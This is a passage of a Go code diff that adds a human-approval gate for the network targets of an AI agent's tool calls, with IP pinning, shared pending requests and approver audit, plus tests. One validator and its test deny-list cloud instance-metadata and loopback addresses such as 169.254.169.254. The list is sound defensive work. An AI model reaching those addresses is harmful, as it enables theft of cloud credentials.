+			g.Hooks().PostToolUse(ctx, c.tool, []byte(c.input), []byte(`"403 forbidden"`), true)
+		}
+	}
+	if n := len(g.Audit()); n != 0 {
+		t.Errorf("target-only guard wrote %d audit entries, want none", n)
+	}
+	if a := g.Attributions(); len(a) != 0 {
+		t.Errorf("target-only guard counted attributions %v, want none", a)
+	}
+}
+
 var _ = hook.PreToolUse

intercept/intercept.go

@@ -76,42 +76,91 @@ func taskEmitFromCtx(ctx context.Context) func(db.Activity) {
 	return f
 }
 
+// targetScopeCtxKey is a separate unexported key type for the target-gate scope.
+type targetScopeCtxKey struct{}
+
+// DefaultTargetWaitBound is how long a gated tool call may wait for a human
+// decision on an unpinned target before it fails with the request left open.
+const DefaultTargetWaitBound = 300 * time.Second
+
+// TargetScope is what an approval for an asset target is bound to: one task
+// (TaskID) or one conversation (ConversationID), never both. Enabled reports the
+// scope's opt-in flag and is read on every gated call; nil means the gate is off.
+// WaitBound caps the wait for a human decision; 0 means never wait.
+// Interceptor is the one that owns the gate of this session, so that code
+// holding only a context (an HTTP redirect callback) can reach it.
+type TargetScope struct {
+	TaskID         string
+	ConversationID int64
+	Enabled        func() bool
+	WaitBound      time.Duration
+	Interceptor    *Interceptor
+}
+
+// WithTargetScope returns a child context carrying the target-gate scope of the
+// session that runs on it.
+func WithTargetScope(ctx context.Context, s TargetScope) context.Context {
+	return context.WithValue(ctx, targetScopeCtxKey{}, s)
+}
+
+// TargetScopeFromContext extracts the target-gate scope (ok is false if absent).
+func TargetScopeFromContext(ctx context.Context) (s TargetScope, ok bool) {
+	s, ok = ctx.Value(targetScopeCtxKey{}).(TargetScope)
+	return s, ok
+}
+
 // compiledRule is an InterceptRule with the regex pre-compiled (nil for string rules).
 type compiledRule struct {
 	db.InterceptRule
 	re *regexp.Regexp
 }
 
-// pendingManager tracks in-flight "ask" requests via per-request channels.
+// pendingManager tracks in-flight approval requests via per-waiter channels. A
+// classic ask has one waiter; a target request can have several (every call
+// that names the same host waits on the same row).
 type pendingManager struct {
 	mu sync.Mutex
-	ch map[int64]chan bool
+	ch map[int64][]chan bool
 }
 
-func newPendingManager() *pendingManager { return &pendingManager{ch: map[int64]chan bool{}} }
+func newPendingManager() *pendingManager { return &pendingManager{ch: map[int64][]chan bool{}} }
 
+// add registers one more waiter for id and returns its channel.
 func (p *pendingManager) add(id int64) chan bool {
 	ch := make(chan bool, 1)
 	p.mu.Lock()
-	p.ch[id] = ch
+	p.ch[id] = append(p.ch[id], ch)
 	p.mu.Unlock()
 	return ch
 }
 
+// resolve wakes every waiter of id with the decision.
 func (p *pendingManager) resolve(id int64, allowed bool) {
 	p.mu.Lock()
-	ch, ok := p.ch[id]
+	waiters := p.ch[id]
 	delete(p.ch, id)
 	p.mu.Unlock()
-	if ok {
+	for _, ch := range waiters {
 		ch <- allowed
 	}
 }
 
-func (p *pendingManager) remove(id int64) {
+// remove takes one waiter's channel out; the other waiters of id stay.
+func (p *pendingManager) remove(id int64, ch chan bool) {
 	p.mu.Lock()
-	delete(p.ch, id)
-	p.mu.Unlock()
+	defer p.mu.Unlock()
+	waiters := p.ch[id]
+	for n, w := range waiters {
+		if w == ch {
+			waiters = append(waiters[:n:n], waiters[n+1:]...)
+			break
+		}
+	}
+	if len(waiters) == 0 {
+		delete(p.ch, id)
+		return
+	}
+	p.ch[id] = waiters
 }
 
 // Reviewer runs the LLM fallback judge for one tool call and returns its verdict
@@ -129,6 +178,18 @@ type Interceptor struct {
 	enabledTools map[string]bool // nil means not loaded yet
 	pending      *pendingManager
 	reviewer     Reviewer // nil = LLM fallback judge not wired
+	// upstreamProxy reports whether target traffic leaves through an upstream
+	// egress proxy (nil = no). Injected by the server layer.
+	upstreamProxy func() bool
+}
+
+// SetUpstreamProxyCheck installs the function that reports whether an upstream
+// egress proxy is configured. Behind one the proxy chooses the address it
+// connects to, so a target approval given while it is set is name-only.
+func (i *Interceptor) SetUpstreamProxyCheck(f func() bool) {
+	i.mu.Lock()
+	i.upstreamProxy = f
+	i.mu.Unlock()
 }
 
 // SetReviewer installs the LLM fallback judge callback. Passing nil disables it.
@@ -603,7 +664,7 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 
 	i.bindResult(ctx, pendingID, audit)
 	ch := i.pending.add(pendingID)
-	defer i.pending.remove(pendingID)
+	defer i.pending.remove(pendingID, ch)
 	// Polling clients can decide after INSERT commits but before the channel is
 	// registered. Re-read after registration so that decision cannot be lost;
 	// later decisions will be delivered through ch.
@@ -677,7 +738,11 @@ func (i *Interceptor) HandleAsk(ctx context.Context, convID int64, dec Decision,
 var ErrAlreadyDecided = errors.New("approval already decided or does not exist; please refresh the list")
 
 // Decide resolves a pending request. Called by the HTTP decide endpoint.
-func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
+// approver (subject of the session token) and remoteAddr identify the human
+// behind the decision; they are recorded in the row's audit. On a target
+// request "allowed" also pins the addresses the request displayed, and both
+// values go to the pin: a human decision is the only thing that creates a pin.
+func (i *Interceptor) Decide(pendingID int64, allowed bool, approver, remoteAddr string) error {
 	status := "denied"
 	if allowed {
 		status = "allowed"
@@ -686,7 +751,16 @@ func (i *Interceptor) Decide(pendingID int64, allowed bool) error {
 	if allowed {
 		action, reason = "allow", "user approved execution"
 	}
-	resolved, err := i.db.ResolveIntercept(pendingID, status, action, reason, "human")
+	targetKey, err := i.db.TargetRequestKey(pendingID)
+	if err != nil {
+		return err
+	}
+	var resolved bool
+	if targetKey != "" {
+		_, resolved, err = i.db.ResolveTargetRequest(pendingID, allowed, approver, remoteAddr)
+	} else {
+		resolved, err = i.db.ResolveInterceptBy(pendingID, status, action, reason, "human", approver, remoteAddr)
+	}
 	if err != nil {
 		return err
 	}

intercept/target_exempt.go

@@ -0,0 +1,53 @@
+package intercept
+
+import (
+	"fmt"
+	"net/netip"
+)
+
+// metadataAddrs are instance-metadata addresses that lie outside the link-local
+// ranges and would otherwise pass as private or public unicast.
+var metadataAddrs = []netip.Addr{
+	netip.MustParseAddr("fd00:ec2::254"),   // AWS IMDS over IPv6
+	netip.MustParseAddr("100.100.100.200"), // Alibaba Cloud
+}
+
+// ValidateExemptionHost checks the host of an entry an operator adds to the
+// target-gate exemption list. host is expected in normalised form.
+//
+// An exemption on a name is resolved at check time and is void when the name
+// resolves to a private, loopback, link-local or unspecified address. An IP
+// literal is never resolved, so that rule cannot protect it and the literal is
+// checked here instead. A private unicast address is allowed: an internal
+// service the operator names on purpose (10.0.0.5:8080). Loopback, link-local
+// (169.254.0.0/16 holds the cloud metadata address 169.254.169.254; fe80::/10),
+// unspecified and multicast addresses are never accepted, nor are the metadata
+// addresses outside the link-local ranges. A host that is not an IP literal
+// passes: names are the void rule's business.
+func ValidateExemptionHost(host string) error {
+	addr, err := netip.ParseAddr(host)
+	if err != nil {
+		return nil
+	}
+	addr = addr.Unmap().WithZone("")
+	kind := ""
+	switch {
+	case addr.IsLoopback():
+		kind = "a loopback"
+	case addr.IsUnspecified():
+		kind = "the unspecified"
+	case addr.IsLinkLocalUnicast():
+		kind = "a link-local (metadata range)"
+	case addr.IsMulticast():
+		kind = "a multicast"
+	}
+	for _, m := range metadataAddrs {
+		if addr == m {
+			kind = "an instance-metadata"
+		}
+	}
+	if kind != "" {
+		return fmt.Errorf("%s is %s address and can never be exempt from target approval", host, kind)
+	}
+	return nil
+}

intercept/target_exempt_test.go

@@ -0,0 +1,29 @@
+package intercept
+
+import "testing"
+
+// An operator may exempt a private unicast IP literal, never a loopback,
+// link-local (cloud metadata), unspecified or multicast one.
+func TestValidateExemptionHost(t *testing.T) {
+	for _, host := range []string{
+		"10.0.0.5", "172.16.0.1", "192.168.1.1", "fd00::1", // private unicast
+		"203.0.113.7", "2001:db8::1", // public
+		"pypi.org", "internal.corp", "localhost", // names: the void rule's business
+	} {
+		if err := ValidateExemptionHost(host); err != nil {
+			t.Errorf("%s refused: %v", host, err)
+		}
+	}
+	for _, host := range []string{
+		"169.254.169.254", "169.254.170.2", "169.254.0.1", "fe80::1", "fe80::1%eth0", // link-local, metadata
+		"::ffff:169.254.169.254",           // the same address, IPv4-mapped
+		"fd00:ec2::254", "100.100.100.200", // metadata outside link-local
+		"127.0.0.1", "127.8.8.8", "::1", "::ffff:127.0.0.1", // loopback
+		"0.0.0.0", "::", // unspecified
+		"224.0.0.1", "239.255.255.250", "ff02::1", "ff05::2", // multicast
+	} {
+		if err := ValidateExemptionHost(host); err == nil {
+			t.Errorf("%s accepted, want it refused", host)
+		}
+	}
+}

intercept/target_request.go

@@ -0,0 +1,374 @@
+package intercept
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"net"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+// Block codes a target request can end with. They are carried in the
+// model-facing text of the blocked call.
+const (
+	// TargetApprovalPending: no decision within the wait bound. The request
+	// stays open, so a later approval still creates the pin.
+	TargetApprovalPending = "TARGET_APPROVAL_PENDING"
+	// TargetDenied: the request was closed without an approval.
+	TargetDenied = "TARGET_DENIED"
+	// TargetGateUnavailable: the request could not be written or read.
+	TargetGateUnavailable = "TARGET_GATE_UNAVAILABLE"
+)
+
+// targetPollInterval is how often a waiter re-reads its request row. The poll
+// covers a decision taken on another instance that shares the database.
+var targetPollInterval = 2 * time.Second
+
+// TargetRequest is one target of a gated call that no pin covers.
+type TargetRequest struct {
+	Host string // normalised name, IP literal or CIDR; with Port the key of the request
+	Port int    // 0 = port not declared
+	Kind string
+	// ResolvedIPs are the addresses resolved for this request. They are what the
+	// human reads and what an approval pins.
+	ResolvedIPs []string
+	Resolver    string
+	ResolvedAt  time.Time
+	Reason      string        // no_pin | new_ip | revoked
+	Pin         *db.TargetPin // the active pin an approval would extend (new_ip); nil otherwise
+}
+
+// TargetResult is the outcome of RequestTargets. Code is empty when every
+// request the call waited on was approved (or was decided in between): the
+// caller then re-runs the pin lookup and executes only if every target is
+// covered. Otherwise Code is the block code and Host, Port and PendingID name
+// the request that stopped the call.
+type TargetResult struct {
+	Code      string
+	Host      string
+	Port      int
+	PendingID int64
+	Reason    string
+	// AskMerged reports that the ask passed in was carried by a request this call
+	// created, so its decision answered both. When false the caller still has to
+	// raise the ask on its own.
+	AskMerged bool
+}
+
+func (s TargetScope) ref() (db.TargetScopeRef, error) {
+	ref := db.TargetScopeRef{ConversationID: s.ConversationID}
+	if s.TaskID != "" {
+		id, err := strconv.ParseInt(s.TaskID, 10, 64)
+		if err != nil {
+			return ref, fmt.Errorf("target scope: task id %q: %w", s.TaskID, err)
+		}
+		ref.TaskID = id
+	}
+	return ref, nil
+}
+
+// scopeName is how a request text names what an approval is bound to.
+func (s TargetScope) scopeName() string {
+	if s.TaskID != "" {
+		return "task " + s.TaskID
+	}
+	return "conversation " + strconv.FormatInt(s.ConversationID, 10)
+}
+
+// targetWaiter is one request row a call waits on.
+type targetWaiter struct {
+	target  TargetRequest
+	id      int64 // 0 = the open request was decided in between: nothing to wait for
+	created bool  // this call wrote the row
+}
+
+// RequestTargets asks a human to approve the targets of one gated call that no
+// pin covers, and waits for the decisions up to the scope's wait bound.
+//
+// There is one open request per (scope, host, port). The first call writes the
+// row and emits the approval card once; later calls for the same key attach to
+// that row and wait on it. A request is durable and host-level: a call that
+// stops waiting (bound elapsed, cancelled) leaves it open, and a later approval
+// still creates the pin. Nothing here ever pins: only Decide does, on a click.
+//
+// ask is the pending ask of a rule or of the judge for the same call, nil when
+// there is none. It is merged into the first row this call creates, so one
+// click answers both. A merged row is bound to its creating call like a classic
+// ask: when that call leaves, the system settles it, and a rule timeout never
+// allows it, because a timeout cannot pin.
+func (i *Interceptor) RequestTargets(ctx context.Context, scope TargetScope, toolName string, input []byte, targets []TargetRequest, ask *Decision) TargetResult {
+	ref, err := scope.ref()
+	if err != nil {
+		return TargetResult{Code: TargetGateUnavailable, Reason: err.Error()}
+	}
+	if scope.WaitBound <= 0 {
+		// A call that never waits cannot own a call-bound row.
+		ask = nil
+	}
+
+	var res TargetResult
+	var merged *targetWaiter
+	var mergedAsk Decision
+	// Whatever the way out, a merged row never outlives its creating call. This
+	// is a no-op once the row is decided.
+	defer func() {
+		if merged != nil {
+			i.settleMerged(merged.id, "denied", "the call left before a decision")
+		}
+	}()
+
+	waiters := make([]*targetWaiter, 0, len(targets))
+	for _, t := range targets {
+		w, err := i.openTargetRequest(ctx, ref, scope, toolName, input, t, ask)
+		if err != nil {
+			res.Code, res.Host, res.Port, res.Reason = TargetGateUnavailable, t.Host, t.Port, err.Error()
+			return res
+		}
+		if w.created && ask != nil {
+			merged, mergedAsk, res.AskMerged = w, *ask, true
+			ask = nil
+		}
+		waiters = append(waiters, w)
+	}
+	if len(waiters) == 0 {
+		return res
+	}
+
+	blocked := func(w *targetWaiter, code, reason string) TargetResult {
+		res.Code, res.Host, res.Port, res.PendingID, res.Reason = code, w.target.Host, w.target.Port, w.id, reason
+		return res
+	}
+	if scope.WaitBound <= 0 {
+		return blocked(waiters[0], TargetApprovalPending, "this call does not wait for approvals; the request stays open")
+	}
+	bound := time.NewTimer(scope.WaitBound)
+	defer bound.Stop()
+
+	// The merged row first: its rule timeout runs from the creation of the row.
+	if merged != nil {
+		var ruleTimeout <-chan time.Time
+		if mergedAsk.TimeoutEnabled {
+			secs := mergedAsk.TimeoutSeconds
+			if secs <= 0 {
+				secs = 60
+			}
+			timer := time.NewTimer(time.Duration(secs) * time.Second)
+			defer timer.Stop()
+			ruleTimeout = timer.C
+		}
+		status, reason := "", ""
+		switch st := i.awaitTarget(ctx, merged.id, bound.C, ruleTimeout); st {
+		case "allowed":
+		case waitRuleTimeout:
+			status, reason = "timeout", "approval timed out"
+			if mergedAsk.TimeoutAction == "allow" {
+				reason += `; the timeout action "allow" was overridden, because a timeout cannot pin a target`
+			}
+		case waitElapsed:
+			status, reason = "timeout", "no approval within the wait bound"
+		case waitCancelled:
+			status, reason = "denied", "work cancelled"
+		case waitGone:
+			return blocked(merged, TargetGateUnavailable, "the approval request no longer exists")
+		default:
+			return blocked(merged, TargetDenied, "the request was denied")
+		}
+		// A human decision that lands while the call is leaving still counts.
+		if status != "" && (i.settleMerged(merged.id, status, reason) || !i.targetAllowed(merged.id)) {
+			return blocked(merged, TargetDenied, reason)
+		}
+	}
+
+	for _, w := range waiters {
+		if w == merged || w.id == 0 {
+			continue
+		}
+		st := i.awaitTarget(ctx, w.id, bound.C, nil)
+		if (st == "denied" || st == "timeout") && !w.created && i.wasMerged(w.id) {
+			// The row this call attached to was bound to another call and closed
+			// with it. That says nothing about the host: ask once more, with a
+			// plain request.
+			retry, err := i.openTargetRequest(ctx, ref, scope, toolName, input, w.target, nil)
+			if err != nil {
+				return blocked(w, TargetGateUnavailable, err.Error())
+			}
+			if retry.id == 0 {
+				continue
+			}
+			w = retry
+			st = i.awaitTarget(ctx, w.id, bound.C, nil)
+		}
+		switch st {
+		case "allowed":
+		case waitElapsed:
+			return blocked(w, TargetApprovalPending, "no approval within the wait bound; the request stays open")
+		case waitCancelled:
+			return blocked(w, TargetApprovalPending, "work cancelled; the request stays open")
+		case waitGone:
+			return blocked(w, TargetGateUnavailable, "the approval request no longer exists")
+		default:
+			return blocked(w, TargetDenied, "the request was denied")
+		}
+	}
+	return res
+}
+
+// openTargetRequest finds or creates the request row for one target. When this
+// call writes the row it emits the approval card; an attaching call writes and
+// emits nothing, and never rewrites the addresses a human may be reading.
+func (i *Interceptor) openTargetRequest(ctx context.Context, ref db.TargetScopeRef, scope TargetScope, toolName string, input []byte, t TargetRequest, ask *Decision) (*targetWaiter, error) {
+	i.mu.RLock()
+	proxied := i.upstreamProxy
+	i.mu.RUnlock()
+	// Behind the upstream proxy the proxy chooses the address: the approval is
+	// for the name, and the pin created from this row says so.
+	nameOnly := proxied != nil && proxied()
+
+	dec := Decision{Action: "ask"}
+	if ask != nil {
+		dec = *ask
+	}
+	dec.Message = targetReason(scope, t, ask, nameOnly)
+	audit := auditFor(ctx, dec, input, "pending")
+	audit.MergedAsk = ask != nil
+	target := db.InterceptTarget{
+		Host: t.Host, Port: t.Port, Kind: t.Kind,
+		ResolvedIPs: t.ResolvedIPs, Resolver: t.Resolver, ResolvedAt: t.ResolvedAt,
+		Reason: t.Reason, Outcome: "requested", NameOnlyEffective: nameOnly,
+	}
+	if t.Pin != nil {
+		target.PinID, target.PinVersion, target.PinnedIPs = t.Pin.ID, t.Pin.Version, t.Pin.PinnedIPs
+	}
+	audit.Targets = []db.InterceptTarget{target}
+
+	_, agentName := taskInfoFromCtx(ctx)
+	id, created, err := i.db.FindOrCreateTargetRequest(db.TargetRequest{
+		Scope: ref, Host: t.Host, Port: t.Port, RuleID: dec.RuleID,
+		AgentName: agentName, ToolName: toolName, ToolInput: input, Reason: dec.Message, Audit: audit,
+	})
+	if err != nil {
+		return nil, err
+	}
+	w := &targetWaiter{target: t, id: id, created: created}
+	if !created {
+		return w, nil
+	}
+	if ask != nil {
+		// Call-bound like a classic ask: the result of this call belongs to the row.
+		i.bindResult(ctx, id, audit)
+	}
+	detail, _ := json.Marshal(map[string]any{
+		"pending_id": id,
+		"tool":       toolName,
+		"input":      json.RawMessage(input),
+	})
+	activity := db.Activity{
+		Kind:    "intercept_request",
+		Summary: fmt.Sprintf("tool %s requests approval for target %s (#%d)", toolName, targetName(t), id),
+		Detail:  string(detail),
+	}
+	if scope.ConversationID != 0 {
+		_, _ = i.db.AppendConvActivity(scope.ConversationID, activity)
+	} else if emit := taskEmitFromCtx(ctx); emit != nil {
+		emit(activity)
+	}
+	return w, nil
+}
+
+// Ways a wait ends without a decision on the row.
+const (
+	waitElapsed     = "wait_elapsed"      // the scope's wait bound
+	waitRuleTimeout = "wait_rule_timeout" // the timeout of a merged ask
+	waitCancelled   = "wait_cancelled"    // the call's context
+	waitGone        = "wait_gone"         // the row no longer exists (its conversation was deleted)
+)
+
+// awaitTarget waits for the decision on one request row and returns its status
+// (allowed | denied | timeout) or the way the wait ended. It never settles the
+// row. The row is re-read before each wait: that covers a decision taken before
+// the waiter registered, and one taken on another instance.
+func (i *Interceptor) awaitTarget(ctx context.Context, id int64, bound, ruleTimeout <-chan time.Time) string {
+	ch := i.pending.add(id)
+	defer i.pending.remove(id, ch)
+	poll := time.NewTicker(targetPollInterval)
+	defer poll.Stop()
+	for {
+		row, err := i.db.GetInterceptPending(id)
+		if err == nil && row == nil {
+			return waitGone
+		}
+		if err == nil && row.Status != "pending" {
+			return row.Status
+		}
+		select {
+		case <-ch:
+		case <-poll.C:
+		case <-bound:
+			return waitElapsed
+		case <-ruleTimeout:
+			return waitRuleTimeout
+		case <-ctx.Done():
+			return waitCancelled
+		}
+	}
+}
+
+// settleMerged closes a merged row on behalf of its creating call, which is
+// leaving, and wakes the calls attached to it. It reports whether the row was
+// still open; a merged row closed this way never pins.
+func (i *Interceptor) settleMerged(id int64, status, reason string) bool {
+	resolved, err := i.db.ResolveIntercept(id, status, "deny", reason, "system")
+	if err != nil || !resolved {
+		return false
+	}
+	i.pending.resolve(id, false)
+	return true
+}
+
+func (i *Interceptor) targetAllowed(id int64) bool {
+	row, err := i.db.GetInterceptPending(id)
+	return err == nil && row != nil && row.Status == "allowed"
+}
+
+func (i *Interceptor) wasMerged(id int64) bool {
+	detail, err := i.db.GetInterceptDetail(id)
+	return err == nil && detail != nil && detail.Audit != nil && detail.Audit.MergedAsk
+}
+
+func targetName(t TargetRequest) string {
+	if t.Port == 0 {
+		return t.Host
+	}
+	return net.JoinHostPort(t.Host, strconv.Itoa(t.Port))
+}
+
+// targetReason is the text a human reads before deciding: host, port, the
+// addresses an approval pins, and what the approval is bound to.
+func targetReason(scope TargetScope, t TargetRequest, ask *Decision, nameOnly bool) string {
+	var b strings.Builder
+	if ask != nil && ask.Message != "" {
+		b.WriteString(ask.Message)
+		b.WriteString("\nThis call also names a target that needs approval. ")
+	}
+	name, bound := targetName(t), scope.scopeName()
+	if t.Port == 0 {
+		name += " (port not declared: every port)"
+	}
+	ips := strings.Join(t.ResolvedIPs, ", ")
+	if t.Pin != nil {
+		fmt.Fprintf(&b, "Target %s is pinned for %s (pin v%d: %s) and now resolves to %s (resolver: %s).",
+			name, bound, t.Pin.Version, strings.Join(t.Pin.PinnedIPs, ", "), ips, t.Resolver)
+	} else {
+		fmt.Fprintf(&b, "Target %s is not approved for %s. It resolves to %s (resolver: %s).", name, bound, ips, t.Resolver)
+	}
+	fmt.Fprintf(&b, " Approving pins these addresses for %s until revoked.", bound)
+	if nameOnly {
+		b.WriteString(" Egress goes through the upstream proxy, which chooses the address it connects to." +
+			" The addresses listed are what the platform resolved. This approval is name-only.")
+	}
+	return b.String()
+}

intercept/target_request_test.go

@@ -0,0 +1,754 @@
+package intercept
+
+import (
+	"context"
+	"fmt"
+	"slices"
+	"strconv"
+	"strings"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/Autumn-27/artex/db"
+)
+
+func TestPendingWakesAllWaiters(t *testing.T) {
+	p := newPendingManager()
+	a, b, gone := p.add(1), p.add(1), p.add(1)
+	other := p.add(2)
+	p.remove(1, gone)
+	p.resolve(1, true)
+	for name, ch := range map[string]chan bool{"first": a, "second": b} {
+		select {
+		case allowed := <-ch:
+			if !allowed {
+				t.Fatalf("%s waiter got a denial", name)
+			}
+		default:
+			t.Fatalf("%s waiter of the request was not woken", name)
+		}
+	}
+	select {
+	case <-gone:
+		t.Fatal("a removed waiter was woken")
+	case <-other:
+		t.Fatal("a waiter of another request was woken")
+	default:
+	}
+	if len(p.ch) != 1 || len(p.ch[2]) != 1 {
+		t.Fatalf("waiters left = %v, want only the one of request 2", p.ch)
+	}
+	// Resolving a request nobody waits on, twice, blocks nobody.
+	p.resolve(1, true)
+	p.resolve(2, false)
+	if allowed := <-other; allowed {
+		t.Fatal("the waiter of request 2 got an approval")
+	}
+	p.remove(2, other)
+	if len(p.ch) != 0 {
+		t.Fatalf("waiters left = %v, want none", p.ch)
+	}
+}
+
+func targetTestDB(t *testing.T) *db.DB {
+	t.Helper()
+	dsn, _, err := db.DSN()
+	if err != nil {
+		t.Skipf("no database config (%v) - skipping", err)
+	}
+	d, err := db.Open(dsn)
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { d.Close() })
+	return d
+}
+
+// taskScope creates a task and returns its target scope on ic, with the gate
+// on and the given wait bound.
+func taskScope(t *testing.T, d *db.DB, ic *Interceptor, wait time.Duration) TargetScope {
+	t.Helper()
+	task, err := d.CreateTaskWithOptions("target requests", "request, wait, decide", db.TaskCreateOptions{})
+	if err != nil {
+		t.Fatal(err)
+	}
+	id := strconv.FormatInt(task.ID, 10)
+	t.Cleanup(func() {
+		_ = d.DeleteTask(task.ID)
+		_, _ = d.Exec(`DELETE FROM target_pins WHERE task_id=$1`, task.ID)
+		_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1`, id)
+	})
+	return TargetScope{TaskID: id, Enabled: func() bool { return true }, WaitBound: wait, Interceptor: ic}
+}
+
+func (s TargetScope) dbRef(t *testing.T) db.TargetScopeRef {
+	t.Helper()
+	ref, err := s.ref()
+	if err != nil {
+		t.Fatal(err)
+	}
+	return ref
+}
+
+func target(host string, port int, ips ...string) TargetRequest {
+	return TargetRequest{Host: host, Port: port, Kind: "domain", ResolvedIPs: ips, Resolver: "system", ResolvedAt: time.Now().UTC(), Reason: "no_pin"}
+}
+
+var webFetchInput = []byte(`{"url":"https://app.example.com/"}`)
+
+// request runs RequestTargets in the background and returns the channel its
+// result arrives on.
+func request(ctx context.Context, ic *Interceptor, scope TargetScope, ask *Decision, targets ...TargetRequest) <-chan TargetResult {
+	out := make(chan TargetResult, 1)
+	go func() { out <- ic.RequestTargets(ctx, scope, "WebFetch", webFetchInput, targets, ask) }()
+	return out
+}
+
+func result(t *testing.T, ch <-chan TargetResult) TargetResult {
+	t.Helper()
+	select {
+	case res := <-ch:
+		return res
+	case <-time.After(20 * time.Second):
+		t.Fatal("the call is still waiting")
+		return TargetResult{}
+	}
+}
+
+func stillWaiting(t *testing.T, ch <-chan TargetResult) {
+	t.Helper()
+	select {
+	case res := <-ch:
+		t.Fatalf("the call returned %+v, want it still waiting", res)
+	case <-time.After(4 * targetPollInterval):
+	}
+}
+
+func eventually(t *testing.T, what string, cond func() bool) {
+	t.Helper()
+	deadline := time.Now().Add(20 * time.Second)
+	for !cond() {
+		if time.Now().After(deadline) {
+			t.Fatalf("timed out waiting for %s", what)
+		}
+		time.Sleep(5 * time.Millisecond)
+	}
+}
+
+// openRows returns the ids of the open target requests of scope, oldest first.
+func openRows(t *testing.T, d *db.DB, scope TargetScope) []int64 {
+	t.Helper()
+	rows, err := d.Query(`SELECT id FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND status='pending' AND target_key IS NOT NULL ORDER BY id`,
+		scope.TaskID, scope.ConversationID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer rows.Close()
+	var ids []int64
+	for rows.Next() {
+		var id int64
+		if err := rows.Scan(&id); err != nil {
+			t.Fatal(err)
+		}
+		ids = append(ids, id)
+	}
+	return ids
+}
+
+func allRows(t *testing.T, d *db.DB, scope TargetScope) int {
+	t.Helper()
+	var n int
+	if err := d.QueryRow(`SELECT count(*) FROM intercept_pending
+WHERE COALESCE(task_id,'')=$1 AND COALESCE(conversation_id,0)=$2 AND target_key IS NOT NULL`, scope.TaskID, scope.ConversationID).Scan(&n); err != nil {
+		t.Fatal(err)
+	}
+	return n
+}
+
+// waiters is how many calls wait on request id through ic.
+func waiters(ic *Interceptor, id int64) int {
+	ic.pending.mu.Lock()
+	defer ic.pending.mu.Unlock()
+	return len(ic.pending.ch[id])
+}
+
+// oneOpenRow waits for the scope's single open request and returns its id.
+func oneOpenRow(t *testing.T, d *db.DB, scope TargetScope) int64 {
+	t.Helper()
+	var ids []int64
+	eventually(t, "one open target request", func() bool {
+		ids = openRows(t, d, scope)
+		return len(ids) == 1
+	})
+	return ids[0]
+}
+
+func pins(t *testing.T, d *db.DB, scope TargetScope) []*db.TargetPin {
+	t.Helper()
+	out, err := d.ListTargetPins(scope.dbRef(t))
+	if err != nil {
+		t.Fatal(err)
+	}
+	return out
+}
+
+// Calls for one host share one request, in one process and across two
+// instances on one database: one row, one card, one decision wakes them all,
+// one pin.
+func TestConcurrentCallsSameHostShareOneRequest(t *testing.T) {
+	d := targetTestDB(t)
+	first, second := New(d), New(targetTestDB(t))
+	scope := taskScope(t, d, first, time.Minute)
+	var cards atomic.Int32
+	ctx := WithTaskContext(context.Background(), scope.TaskID, "work#1", func(a db.Activity) {
+		if a.Kind == "intercept_request" {
+			cards.Add(1)
+		}
+	})
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	a := request(ctx, first, scope, nil, tgt)
+	id := oneOpenRow(t, d, scope)
+	b := request(ctx, first, scope, nil, tgt)
+	c := request(ctx, second, scope, nil, tgt)
+	eventually(t, "every call to wait on the request", func() bool { return waiters(first, id) == 2 && waiters(second, id) == 1 })
+	if ids := openRows(t, d, scope); len(ids) != 1 || allRows(t, d, scope) != 1 {
+		t.Fatalf("open requests = %v, want the one row %d", ids, id)
+	}
+	if n := cards.Load(); n != 1 {
+		t.Fatalf("%d approval cards emitted, want 1", n)
+	}
+	stillWaiting(t, a)
+
+	// Decided on the second instance: its own waiter is woken by the channel,
+	// the waiters of the first instance by their poll.
+	if err := second.Decide(id, true, "ARTEX", "198.51.100.9"); err != nil {
+		t.Fatal(err)
+	}
+	for name, ch := range map[string]<-chan TargetResult{"creator": a, "attached": b, "other instance": c} {
+		if res := result(t, ch); res.Code != "" {
+			t.Fatalf("%s call: %+v, want approved", name, res)
+		}
+	}
+	got := pins(t, d, scope)
+	if len(got) != 1 || got[0].Status != db.TargetPinActive || got[0].Host != "app.example.com" || got[0].Port != 443 ||
+		!slices.Equal(got[0].PinnedIPs, []string{"203.0.113.7"}) {
+		t.Fatalf("pins = %+v, want one active pin", got)
+	}
+	if allRows(t, d, scope) != 1 || cards.Load() != 1 {
+		t.Fatalf("rows=%d cards=%d after the decision, want 1 and 1", allRows(t, d, scope), cards.Load())
+	}
+	if err := first.Decide(id, false, "ARTEX", ""); err != ErrAlreadyDecided {
+		t.Fatalf("second decision: %v, want ErrAlreadyDecided", err)
+	}
+}
+
+// A call that stops waiting leaves the request alone: it stays open, the next
+// call attaches to it, and a later approval still pins.
+func TestWaiterLeavingKeepsRequestOpen(t *testing.T) {
+	d := targetTestDB(t)
+	ic := New(d)
+	scope := taskScope(t, d, ic, time.Minute)
+	tgt := target("app.example.com", 443, "203.0.113.7")
+	ctx, cancel := context.WithCancel(context.Background())
+	call := request(ctx, ic, scope, nil, tgt)
+	id := oneOpenRow(t, d, scope)
+	eventually(t, "the call to wait", func() bool { return waiters(ic, id) == 1 })
+	cancel()
+	res := result(t, call)
+	if res.Code != TargetApprovalPending || res.PendingID != id || res.Host != "app.example.com" || res.Port != 443 {
+		t.Fatalf("cancelled call: %+v, want %s on request %d", res, TargetApprovalPending, id)
+	}
+	row, err := d.GetInterceptPending(id)
+	if err != nil || row == nil || row.Status != "pending" || row.DecidedBy != "" {
+		t.Fatalf("request after its waiter left = %+v, %v; want untouched", row, err)
+	}
+	if waiters(ic, id) != 0 {
+		t.Fatal("the waiter that left is still registered")
+	}
+
+	again := request(context.Background(), ic, scope, nil, tgt)
+	eventually(t, "the next call to attach", func() bool { return waiters(ic, id) == 1 })
+	if ids := openRows(t, d, scope); !slices.Equal(ids, []int64{id}) {
+		t.Fatalf("open requests = %v, want the same row %d", ids, id)
+	}
+	if err := ic.Decide(id, true, "ARTEX", ""); err != nil {
+		t.Fatal(err)
+	}
+	if res := result(t, again); res.Code != "" {
